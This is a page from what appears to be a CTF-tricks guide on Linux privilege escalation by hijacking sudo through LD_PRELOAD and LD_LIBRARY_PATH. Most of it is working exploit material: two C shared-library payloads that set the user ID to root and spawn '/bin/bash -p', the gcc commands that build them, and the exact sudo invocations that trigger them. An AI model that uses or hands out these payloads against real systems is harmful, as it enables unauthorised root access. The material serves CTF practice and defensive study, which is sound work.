> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-14/linux-exploit/trick-0011.md).

# Sudo LD\_PRELOAD Hijacking

***

```c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h> // Required for setresuid
#include <sys/types.h>
#include <stdlib.h>

// This function is executed when the shared object is loaded
void _init() {
    unsetenv("LD_PRELOAD"); // Unset LD_PRELOAD to prevent issues in the new shell or other libraries from loading
    setresuid(0,0,0);      // Set real, effective, and saved user IDs to root (0)
    system("/bin/bash -p"); // Execute a privileged root shell
}
```

Certain environment variables, if they can be controlled when running a program with elevated privileges (e.g., via `sudo`), can be exploited for privilege escalation even if the program itself doesn't offer a direct way to execute shell commands. Two such critical environment variables are `LD_PRELOAD` and `LD_LIBRARY_PATH`.

`LD_PRELOAD` is an environment variable that tells the operating system to load a specific shared library before any others when a program is run. It lists shared libraries with functions that override the standard set, similar to how `/etc/ld.so.preload` works. These are implemented by the dynamic loader, typically `/lib/ld-linux.so`.

If a `sudo` entry allows running a binary (e.g., `/usr/bin/ping`, `/usr/sbin/apache2`, or `/usr/bin/find`) and is configured to keep the `LD_PRELOAD` environment variable, this can be exploited. You can check your sudo privileges with `sudo -l`. Look for lines indicating that `LD_PRELOAD` can be set. This is often related to an `env_keep` directive in the `/etc/sudoers` file, or a `SETENV` directive for the specific command. For this to work, the sudoers configuration might include a line like:

```
Defaults env_keep += LD_PRELOAD
```

Or, for a specific user and command, the `sudo -l` output might show something like:

```
User username may run the following commands on hostname:
    (ALL) SETENV: NOPASSWD: /path/to/command
    LD_PRELOAD
```

This indicates that the `LD_PRELOAD` variable can be set for `/path/to/command`.

To exploit this, you can compile the C code (e.g., saved as `/tmp/exploit.c`) into a shared object:

```bash
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /tmp/exploit.c
```

This command compiles `exploit.c` into a shared object file `/tmp/preload.so`. The `-fPIC` flag generates position-independent code, necessary for shared libraries. `-shared` tells the compiler to produce a shared object. `-nostartfiles` indicates that standard system startup files should not be linked.

Then, execute the target program with `sudo`, setting `LD_PRELOAD` to point to your malicious shared object:

```bash
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/ping
```

Or, if the permitted command was `find` or `apache2`:

```bash
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/find
# sudo LD_PRELOAD=/tmp/preload.so /usr/sbin/apache2
```

When `sudo` executes the specified program (e.g., `/usr/bin/ping`) with `LD_PRELOAD` set to your shared library, the `_init` function inside `preload.so` runs *before* the program's main function. This executes your payload, in this case, granting a root shell.

Another environment variable that can be exploited for privilege escalation is `LD_LIBRARY_PATH`.`LD_LIBRARY_PATH` provides a list of directories where shared libraries are searched for first. The method of privilege escalation with `LD_LIBRARY_PATH` is similar to `LD_PRELOAD`, but the main difference is `LD_LIBRARY_PATH` specifies directories where shared libraries are searched for first, rather than directly loading a specific library.

If `sudo -l` indicates that you can set the `LD_LIBRARY_PATH` environment variable when running a specific command as root, you can potentially escalate privileges.\
First, identify the shared libraries used by the program you can run with sudo (e.g., `/usr/sbin/apache2`). The `ldd` command can be used for this:

```bash
ldd /usr/sbin/apache2
```

This will list the shared libraries the program depends on, along with their paths (e.g., `libcrypt.so.1`, `librt.so.1`). You can choose one of these libraries to hijack. For example, let's say `librt.so.1` is listed.

Next, create a malicious C file (e.g., `/tmp/library_hijack.c`) with a constructor function that will execute your payload. The shared object you compile must have the same name as one of the legitimate libraries used by the target application.

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> // Required for setresuid

// This function will be executed when the library is loaded
static void hijack() __attribute__((constructor));

void hijack() {
   unsetenv("LD_LIBRARY_PATH"); // Unset LD_LIBRARY_PATH to avoid issues
   setresuid(0,0,0);             // Set user ID to 0 (root)
   system("/bin/bash -p");       // Execute shell with root privileges
}
```

Compile this C code into a shared object. If you are targeting a library like `librt.so.1` (which is often a symlink to `librt.so.VERSION`), you would typically name your compiled shared object `librt.so` or `librt.so.1`, placing it in a directory you control. For this example, we'll name it `librt.so`:

```bash
gcc -fPIC -shared -o /tmp/librt.so /tmp/library_hijack.c
```

This command compiles `library_hijack.c` into a shared object named `librt.so` in the `/tmp` directory.

Finally, run the target program using `sudo`, setting `LD_LIBRARY_PATH` to the directory containing your malicious shared object (e.g., `/tmp`):

```bash
sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2
```

When `/usr/sbin/apache2` is executed, the dynamic linker will search for shared libraries in `/tmp` first due to `LD_LIBRARY_PATH`. It will find your malicious `/tmp/librt.so` instead of the legitimate system library. The `hijack` function (marked with `__attribute__((constructor))`) in your library will be executed upon loading, granting you a root shell.

It's important to note that not all shared libraries listed by `ldd` might be suitable for hijacking in this manner, and sometimes errors might occur.